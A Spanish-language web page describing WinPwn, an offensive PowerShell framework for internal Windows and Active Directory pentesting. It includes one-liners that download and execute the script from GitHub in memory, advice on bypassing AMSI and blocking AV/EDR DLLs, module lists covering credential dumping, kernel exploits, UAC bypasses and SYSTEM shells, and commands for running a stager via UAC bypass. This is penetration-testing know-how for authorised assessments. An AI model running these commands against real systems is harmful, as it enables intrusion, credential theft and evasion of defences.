WinPwn Automatización Pentesting Interno para Windows
WinPwn Automatización Pentesting Interno para Windows

WinPwn: Automatización Pentesting Interno Windows/Seguridad AD

(Palabras de @S3cur3Th1sSh1t) En muchas pruebas de penetración internas pasadas, a menudo tuve problemas con los scripts existentes de Powershell Recon/Explotación debido a la falta de soporte de proxy. Además, a menudo ejecutaba los mismos scripts uno tras otro para obtener información sobre el sistema actual y/o el dominio. Para automatizar la mayor cantidad de procesos internos de penetración (reconocimiento y explotación) y por la razón del proxy escribí mi propio script con reconocimiento e integración automática de proxy. El script se basa en su mayor parte en otros grandes proyectos de seguridad ofensiva Powershell bien conocidos.

Tabla de Contenido

Módulos

Sólo importa los módulos con:

Import-Module .\WinPwn.ps1

o,

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Cargar módulo WinPwn

Para eludir el AMSI tome una de las técnicas de elusión existentes, encuentre el trigger del AMSI y cámbialo manualmente en la función de elusión o codifica la cadena del trigger. Alternativamente ofuscar todo el script.

Si estás usando  ObfusWinPwn.ps1 – ahora estás haciendo uso del proyecto amsi.fail por Flangvik, no soy responsable del código alojado allí – pero el proyecto es genial así que lo apoyo aquí.

Para crear un nuevo proceso PowerShell protegido que se ejecuta con la mitigación del proceso BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON:

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/Obfus_SecurePS_WinPwn.ps1')

Esto evita que las DLLs que no son de Microsoft (por ejemplo, productos AV/EDR) se carguen en PowerShell – a menos que tengan un certificado Cross-Signed de Microsoft.

Si te encuentras atascado en un sistema Windows sin acceso a Internet – no hay problema, simplemente utiliza  Offline_Winpwn.ps1, los scripts y ejecutables más importantes están incluidos.

Funciones disponibles

Estas son las funciones disponibles después de la importación: (puedes ver una pequeña demostración en este vídeo)

  • WinPwn -> Menú para elegir ataques:
Menú de ataques de WinPwn
Menú de ataques de WinPwn
  • Inveigh -> Ejecuta Inveigh en una nueva ventana de la Consola , ataques SMB-Relay con gestión de Sesión (Invoke-TheHash) integrada
  • SessionGopher -> Ejecuta Sessiongopher Preguntando por los parámetros
  • Kittielocal ->
  1. Versión ofuscada de Invoke-Mimikatz
  2. Safetykatz en memoria
  3. Vuelca lsass usando la técnica de rundll32
  4. Descarga y ejecuta Lazagne ofuscado
  5. Volcado de las credenciales del navegador
  6. Versión personalizada de Mimikittenz
  7. Exfiltración de credenciales Wifi
  8. Volcado de archivos SAM NTLM Hashes
  9. SharpCloud
  • Localreconmodules ->
Local recon modules
Local recon modules
  1. Recoge el software instalado, el software vulnerable, los recursos compartidos, la información de red, los grupos, los privilegios y mucho más
  2. Comprueba vulneraciones típicas como SMB-Signing, LLMNR Poisoning, MITM6 , WSUS sobre HTTP
  3. Comprueba los registros de eventos de Powershell en busca de credenciales u otra información sensible
  4. Recoge las credenciales del navegador y el historial
  5. Busca contraseñas en el registro y en el sistema de archivos
  6. Busca archivos sensibles (archivos de configuración, archivos RDP, bases de datos keepass)
  7. Buscar binarios .NET en el sistema local
  8. Opcional: Get-Computerdetails (Powersploit) y PSRecon
  • Domainreconmodules ->
  1. Recoger varias informaciones de dominio para la revisión manual
  2. Buscar contraseñas AD en los campos de descripción
  3. Buscar archivos compartidos de dominio potencialmente sensibles
  4. Se enumeran los sistemas/usuarios de delegación no restringidos
  5. Generación de informes Bloodhound
  6. MS17-10 Scanner para sistemas de dominio
  7. Bluekeep Scanner para sistemas de dominio
  8. Funciones de descubrimiento y auditoría de SQL Server – PowerUpSQL
  9. Comprobación de MS-RPRN para Domaincontrollers o todos los sistemas
  10. Auditoría de políticas de grupo con Grouper2
  11. Generación de un informe AD en archivos CSV (o XLS si está instalado Excel) con ADRecon
  12. Comprobación de impresoras en busca de vulnerabilidades comunes
  13. Búsqueda de rutas de ataque de Delegación Restringida Basada en Recursos
  14. Comprobar todos los DCs para zerologon – CVE-2020-1472
  15. Y mucho más, simplemente echa un vistazo
  • Privescmodules
  1. itm4ns Invoke-PrivescCheck
  2. winPEAS
  3. Powersploits PowerUp Allchecks, Sherlock, GPPPasswords
  4. Dll Hijacking, File Permissions, Registry permissions and weak keys, Rotten/Juicy Potato Check
  • kernelexploits ->
  1. MS15-077 – (XP/Vista/Win7/Win8/2000/2003/2008/2012) ¡sólo x86!
  2. ¡MS16-032 – (2008/7/8/10/2012)!
  3. ¡MS16-135 – (sólo WS2k16)!
  4. CVE-2018-8120 – ¡Mayo de 2018, Windows 7 SP1/2008 SP2,2008 R2 SP1!
  5. CVE-2019-0841 – ¡Abril de 2019!
  6. CVE-2019-1069 – Polarbear Hardlink, se necesitan credenciales – ¡Junio de 2019!
  7. CVE-2019-1129/1130 – Race Condition, se necesitan varios núcleos – ¡Julio de 2019!
  8. CVE-2019-1215 – Septiembre de 2019 – ¡sólo x64!
  9. CVE-2020-0638 – Febrero de 2020 – ¡sólo para x64!
  10. CVE-2020-0796 – SMBGhost
  11. CVE-2020-0787 – marzo de 2020 – todas las versiones de Windows
  12. Explotación Juicy-Potato
  13. itm4ns Printspoofer
  • UACBypass ->
  • UAC Magic, Basado en el post de tres partes de James Forshaw sobre UAC
  • Técnica UAC Bypass cmstp, por Oddvar Moe
  • DiskCleanup UAC Bypass, por James Forshaw
  • Técnica DccwBypassUAC, por Ernesto Fernández y Thomas Vanhoutte
  • SYSTEMShell ->
  1. Pop System Shell usando CreateProcess
  2. Pop System Shell usando NamedPipe Impersonation
  3. Pop System Shell usando Token Manipulation
  4. Bind System Shell usando UsoClient DLL load o CreateProcess
  • Shareenumeration -> Invoke-Filefinder e Invoke-Sharefinder (Powerview / Powersploit)
  • Domainshares -> Búsqueda de Snaffler o Passhunt en todos los sistemas de dominio
  • Kerberoasting -> Ejecuta Invoke-Kerberoast en una nueva ventana y almacena los hashes para su posterior craqueo
  • Sharphound -> Informe Bloodhound 3.0
  • Sharpcradle -> Cargar archivos C# desde un servidor web remoto a la RAM
  • DomainPassSpray ->
  • Bluekeep -> Ataques DomainPasswordSpray , una contraseña para todos los usuarios del dominio
  • Bluekeep -> Bluekeep Scanner para sistemas de dominio

Sin parámetros, la mayoría de las funciones sólo se pueden utilizar desde un shell interactivo. Así que decidí añadir los parámetros -noninteractive y -consoleoutput para que el script se pueda utilizar desde un C2-Framework asíncrono como Empire, Covenant, Cobalt Strike u otros. Se pueden utilizar de la siguiente manera:

Uso

  • -noninteractive -> No se pregunta por las funciones para que se ejecuten con parámetros predefinidos o definidos por el usuario
  • consoleoutput -> No se crean las carpetas de botín/informe. Cada función devuelve la salida a la consola para que pueda echar un vistazo a todo en los logs del agente de ejemplos de C2-Framework:

Esto devolverá cada uno de los scripts y funciones de reconocimiento de dominio y probablemente te dará mucha salida

WinPwn -noninteractive -consoleoutput -DomainRecon

Esto enumerará tanta información del sistema local como sea posible

WinPwn -noninteractive -consoleoutput -Localrecon

Ejecuta funciones básicas de reconocimiento local y almacena la salida en las carpetas correspondientes

Generalrecon -noninteractive 

Ejecuta un stager en un proceso de alta integridad desde una sesión con pocos privilegios

UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp

Volcar las credenciales del navegador a través de Sharpweb devolviendo la salida a la consola:

Kittielocal -noninteractive -consoleoutput -browsercredentials

Ejecuta Seatbelt, PowerUp, Watson y más binarios C# en memoria

Kittielocal -noninteractive -browsercredentials

Busca en C:\Program Files\ y C:\Program Files (x86)\ para ensamblajes .NET

Dotnetsearch -consoleoutput -noninteractive

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda